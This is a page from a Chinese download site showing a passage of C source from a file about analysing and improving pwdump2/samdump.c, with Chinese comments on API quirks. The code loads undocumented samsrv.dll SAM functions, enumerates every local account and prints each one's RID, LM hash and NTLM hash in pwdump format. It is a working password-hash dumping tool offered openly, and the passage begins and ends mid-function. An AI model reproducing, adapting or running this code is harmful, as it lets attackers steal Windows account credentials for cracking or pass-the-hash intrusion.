⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pwdump2samdump.c浅析与改进.txt

📁 samdump.c调用LsaQueryInformationPolicy()获取主机SID
💻 TXT
📖 第 1 页 / 共 3 页
字号:
    {
        PrintZwErrorCUI
        (
            "SamrEnumerateDomainsInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    if ( 2 != DomainCount )
    {
        goto getlmhash_exit;
    }
    status              = SamrLookupDomainInSamServer
    (
        SamHandle,                                              // 源自sam connect操作
        &ServerDomainEnumeration->ServerDomain[0].domainname,   // PUNICODE_STRING
        &DomainSid                                              // [out]参数,用LocalFree()释放
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrLookupDomainInSamServer() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrOpenDomain
    (
        SamHandle,      // 源自sam connect操作
        0x10000000,     // Access Mask
                        // SampGetCurrentAdminPassword()中用的是这个值
        DomainSid,      // 这个域不是通常所说NT域
        &DomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrOpenDomain() failed",
            status
        );
        goto getlmhash_exit;
    }
    /*
     * TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
     * 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
     * 要将该[in/out]参数清零。
     */
    EnumerationHandle   = NULL;
    do
    {
        status                  = SamrEnumerateUsersInDomain
        (
            DomainHandle,               // Context Handle
            &EnumerationHandle,         // [in/out]参数,Resume Handle
                                        // 是指向HANDLE的指针,不是HANDLE
            0,                          // filter,Access Mask
                                        // 如欲枚举所有帐号,指定0
            &DomainUserEnumeration,     // [out]参数
            0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
            &UserCount                  // [out]参数,枚举出的帐号数目
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrEnumerateUsersInDomain() failed",
                status
            );
            goto getlmhash_exit;
        }
        /*
         * from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
         *
         * Returned by enumeration APIs to indicate more information is
         * available to successive calls.
         *
         * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
         */
        if ( STATUS_MORE_ENTRIES != status )
        {
            nomoredata = TRUE;
        }
        Count                   = 0;
        while ( Count < UserCount )
        {
            status              = SamrOpenUser
            (
                DomainHandle,                                       // 源自sam open domain操作
                0x10000000,                                         // Access Mask
                DomainUserEnumeration->DomainUser[Count].userrid,   // RID
                &UserHandle                                         // [out]参数,是指向HANDLE的指针,不是HANDLE
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrOpenUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            status              = SamrQueryInformationUser
            (
                UserHandle,                     // 源自sam open user操作
                SamUserOWFPasswordInformation,  // InformationClass,0x12,其实是
                                                // SAM_USER_INFORMATION_CLASS枚举型,
                                                // 为了减少编译难度,换成DWORD型
                &UserOWFPasswordInfo            // 随InformationClass不同,对应不同的结构
            );
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrQueryInformationUser() failed",
                    status
                );
                goto getlmhash_exit;
            }
            PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":%u:",
                DomainUserEnumeration->DomainUser[Count].userrid
            );
            PrintHash( UserOWFPasswordInfo->LMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":"
            );
            PrintHash( UserOWFPasswordInfo->NTLMHash );
            PrivatePrintf
            (
                outfile,
                outbuf,
                outbuflen,
                ":::\n"
            );
            SamIFree_SAMPR_USER_INFO_BUFFER
            (
                UserOWFPasswordInfo,
                SamUserOWFPasswordInformation   // InformationClass,0x12
            );
            UserOWFPasswordInfo = NULL;
            status              = SamrCloseHandle
            (
                &UserHandle
            );
            UserHandle          = NULL;
            if ( !NT_SUCCESS( status ) )
            {
                PrintZwErrorCUI
                (
                    "SamrCloseHandle() failed for UserHandle",
                    status
                );
                goto getlmhash_exit;
            }
            Count++;
        }  /* end of while */
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration   = NULL;
    }
    while ( FALSE == nomoredata );

getlmhash_exit:

    if ( NULL != UserOWFPasswordInfo )
    {
        SamIFree_SAMPR_USER_INFO_BUFFER
        (
            UserOWFPasswordInfo,
            SamUserOWFPasswordInformation   // InformationClass,0x12
        );
        UserOWFPasswordInfo = NULL;
    }
    if ( NULL != UserHandle )
    {
        SamrCloseHandle
        (
            &UserHandle
        );
        UserHandle = NULL;
    }
    if ( NULL != DomainUserEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            DomainUserEnumeration
        );
        DomainUserEnumeration = NULL;
    }
    if ( NULL != DomainHandle )
    {
        SamrCloseHandle
        (
            &DomainHandle
        );
        DomainHandle = NULL;
    }
    if ( NULL != DomainSid )
    {
        LocalFree( DomainSid );
        DomainSid = NULL;
    }
    if ( NULL != ServerDomainEnumeration )
    {
        SamIFree_SAMPR_ENUMERATION_BUFFER
        (
            ServerDomainEnumeration
        );
        ServerDomainEnumeration = NULL;
    }
    if ( NULL != SamHandle )
    {
        SamrCloseHandle
        (
            &SamHandle
        );
        SamHandle = NULL;
    }
    return;
}  /* end of getlmhash */

/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    ntdllname[] = "ntdll";
    HMODULE ntdll       = NULL;

    /*
     * returns a handle to a mapped module without incrementing its
     * reference count
     */
    ntdll                   = GetModuleHandle( ntdllname );
    if ( NULL == ntdll )
    {
        PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
        return( ret );
    }
    RtlNtStatusToDosError   = ( RTLNTSTATUSTODOSERROR )GetProcAddress
    (
        ntdll,
        "RtlNtStatusToDosError"
    );
    if ( !RtlNtStatusToDosError )
    {
        goto LocateNtdllEntry_exit;
    }
    ret                     = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
    }
    if ( NULL != ntdll )
    {
        ntdll = NULL;
    }
    return( ret );
}  /* end of LocateNtdllEntry */

/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
    BOOL    ret             = FALSE;
    char    samsrvname[]    = "samsrv";

    samsrv                              = LoadLibrary( samsrvname );
    if ( NULL == samsrv )
    {
        PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
        return( ret );
    }
    SamIConnect                         = ( SAMICONNECT                       )GetProcAddress
    (
        samsrv,
        "SamIConnect"
    );
    if ( !SamIConnect )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenDomain                      = ( SAMROPENDOMAIN                    )GetProcAddress
    (
        samsrv,
        "SamrOpenDomain"
    );
    if ( !SamrOpenDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrOpenUser                        = ( SAMROPENUSER                      )GetProcAddress
    (
        samsrv,
        "SamrOpenUser"
    );
    if ( !SamrOpenUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrQueryInformationUser            = ( SAMRQUERYINFORMATIONUSER          )GetProcAddress
    (
        samsrv,
        "SamrQueryInformationUser"
    );
    if ( !SamrQueryInformationUser )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_USER_INFO_BUFFER     = ( SAMIFREE_SAMPR_USER_INFO_BUFFER   )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_USER_INFO_BUFFER"
    );
    if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrCloseHandle                     = ( SAMRCLOSEHANDLE                   )GetProcAddress
    (
        samsrv,
        "SamrCloseHandle"
    );
    if ( !SamrCloseHandle )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamrEnumerateUsersInDomain          = ( SAMRENUMERATEUSERSINDOMAIN        )GetProcAddress
    (
        samsrv,
        "SamrEnumerateUsersInDomain"
    );
    if ( !SamrEnumerateUsersInDomain )
    {
        goto LocateSamsrvEntry_exit;
    }
    SamIFree_SAMPR_ENUMERATION_BUFFER   = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
    (
        samsrv,
        "SamIFree_SAMPR_ENUMERATION_BUFFER"
    );
    if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
    {

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -